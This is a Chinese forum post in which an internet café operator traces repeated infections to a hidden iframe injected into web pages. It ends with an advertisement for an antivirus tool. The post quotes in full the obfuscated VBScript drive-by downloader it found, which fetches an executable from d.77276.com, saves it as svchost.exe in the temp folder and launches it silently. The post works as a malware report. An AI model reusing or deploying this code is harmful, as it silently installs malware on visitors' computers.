网吧这几天老是中毒` 但找不着原因` 只要是一开IE就会自动下载两个病毒文件
进程是 0[1].exe 和 cmd.exe
今天无意打开百度的首页 发现每个网页都被插如了一段
<iframe src="http://w.77276.com/0.htm" width="0" height="0" frameborder="0"></iframe><html>ype content="text/html; charset=gb2312">
这一段是被修改的代码 正常的代码是
<html><head><title>百度MP3——全球最大中文MP3搜索引擎 </title>
<meta http-equiv=Content-Type content="text/html; charset=gb2312">
我试着打开了 http://w.77276.com/0.htm 这个页面 里边什么也没有`
查看了原文件 内容是
<HTML>
<BODY style='CURSOR: url(http://w.77276.com/muxiao2.jpg)'>
</BODY></HTML>
<iframe src="http://w.77276.com/1.htm" width="0" height="0" frameborder="0"></iframe>
我又打开 http://w.77276.com/muxiao2.jpg 来看` 不过图片显示不出来
那这么说` 肯定就是个图片木马了 ...
我又打开了 http://w.77276.com/1.htm 看代码 如下
<SCRIPT language=VBScript>
on error resume next
****ie = "http://d.77276.com/0.exe"
fname1="svchost.exe"
fname2="svchost.vbs"
Set df = document.createElement("o"&"b"&"j"&"e"&"c"&"t")
df.setAttribute "c"&"l"&"a"&"s"&"s"&"i"&"d", "c"&"l"&"s"&"id:"&"B"&"D"&"96"&"C5"&"56"&"-65"&"A3"&"-11"&"D0"&"-98"&"3A"&"-00"&"C04"&"FC2"&"9E"&"36"
str="Mic"&"ro"&"so"&"ft."&"X"&"M"&"L"&"HT"&"TP"
Set x = df.CreateObject(str,"")
a1="A"&"d"&"o"
a2="d"&"b."
a3="S"&"tr"
a4="e"&"am"
str5="A"&"d"&"o"&"d"&"b."&"S"&"tr"&"e"&"am"
set S = df.createｏｂｊｅｃｔ(str5,"")
S.type = 1
str6="G"&"E"&"T"
x.Open str6, ****ie, False
x.Send
set F = df.createｏｂｊｅｃｔ("Scripting.FileSystemObject","")
set tmp = F.GetSpecialFolder(2)
fname1= F.BuildPath(tmp,fname1)
S.open
S.write x.responseBody
S.savetofile fname1,2
S.close
fname2= F.BuildPath(tmp,fname2)
set ts = F.OpenTextFile(fname2, 2, True)
ts.WriteLine "Set Shell = CreateObject(""Sh""&""ell""&"".App""&""lic""&""at""&""ion"")"
sql="Shell.ShellExecute"""+fname1+""","""","""",""o""&""p""&""e""&""n"",0"
ts.writeLine sql
ts.close
if F.FileExists(fname1)=true then
if F.FileExists(fname2)=true then
d3="She"&"ll."&"App"&"li"&"ca"&"tion"
set Q = df.createｏｂｊｅｃｔ(d3,"")
dc="o"&"p"&"e"&"n"
Q.ShellExecute fname2,"","",dc,0
end if
End if
</SCRIPT>
看看这句
****ie = "http://d.77276.com/0.exe"
fname1="svchost.exe"
fname2="svchost.vbs"
好象是下载一个 0.exe吧` 然后还有 svchost.exe svchost.vbs
下边的没看懂` 不知道什么意思`...
我试着访问这两个站 可都访问不了 ...
http://w.77276.com/
http://d.77276.com/
这是个什么域名哦` 看不懂....
看来是修改了我的IE? 不管开什么站` 提前植入一段代码 ....
后来演变成logo_.exe 和 9Sy.exe
若对系统操作不熟练，无法实施手工清除，可以下载方舟广谱病毒疫苗，运行arksafe1.bat后，按1键即可清除。若此病毒变种，可以按9在线升级病毒库，若病毒库也不没有此病毒名，可以参考方舟广谱病毒疫苗中的说明readme.txt，自定义加入病毒名。并给本站留言，我们将及时升级病毒包。
方舟广谱病毒疫苗下载地址：/view-398.html
收藏
推荐
评论(1条)
